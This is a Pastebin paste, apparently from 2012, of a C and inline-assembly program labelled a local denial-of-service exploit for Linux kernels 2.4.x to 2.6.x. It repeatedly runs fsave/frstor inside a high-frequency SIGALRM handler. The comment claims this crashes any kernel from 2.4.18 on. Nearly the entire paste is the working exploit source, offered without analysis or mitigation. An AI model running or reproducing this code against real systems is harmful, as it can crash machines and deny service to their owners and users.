emS-St1ks

Assembler Local DoS Exploit

Jun 14th, 2012
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ====================================================================
  2. Linux Kernel 2.4.x-2.6.x Assembler Local DoS Exploit
  3. ====================================================================
  4.  
  5.  
  6.  
  7.  
  8. /* -----------------------------------------------------------------------------
  9.  * frstor Local Kernel exploit
  10.  * Crashes any kernel from 2.4.18
  11.  * -----------------------------------------------------------------------------
  12.  */
  13.  
  14. /*
  15. -----------------------------------------
  16. Some debugging information made
  17. available by st1ks modify
  18. -----------------------------------------
  19. TakeDown:
  20.         pushl   %ebp
  21.         movl    %esp, %ebp
  22.         subl    $136, %esp
  23.         leal    -120(%ebp), %eax
  24.         movl    %eax, -124(%ebp)
  25. #APP
  26.         fsave -124(%ebp)
  27.  
  28. #NO_APP
  29.         subl    $4, %esp
  30.         pushl   $1
  31.         pushl   $.LC0
  32.         pushl   $2
  33.         call    write
  34.         addl    $16, %esp
  35.         leal    -120(%ebp), %eax
  36.         movl    %eax, -128(%ebp)
  37. #APP
  38.         frstor -128(%ebp)
  39.  
  40. #NO_APP
  41.         leave
  42.         ret
  43. */
  44.  
  45. #include <sys/time.h>
  46. #include <signal.h>
  47. #include <unistd.h>
  48.  
  49. static void TakeDown(int ignore)
  50. {
  51.  char fpubuf[108];
  52. // __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
  53. __asm__ __volatile__ ("fsave %0\n" : : "m"(*fpubuf));
  54.  write(2, "*", 1);
  55.  __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
  56. }
  57.  
  58. int main(int argc, char *argv[])
  59. {
  60.  struct itimerval spec;
  61.  signal(SIGALRM, TakeDown);
  62.  spec.it_interval.tv_sec=0;
  63.  spec.it_interval.tv_usec=100;
  64.  spec.it_value.tv_sec=0;
  65.  spec.it_value.tv_usec=100;
  66.  setitimer(ITIMER_REAL, &spec, NULL);
  67.  while(1)
  68.   write(1, ".", 1);
  69.  
  70.  return 0;
  71. }
  72. // <<EOF
Advertisement
Add Comment
Please, Sign In to add comment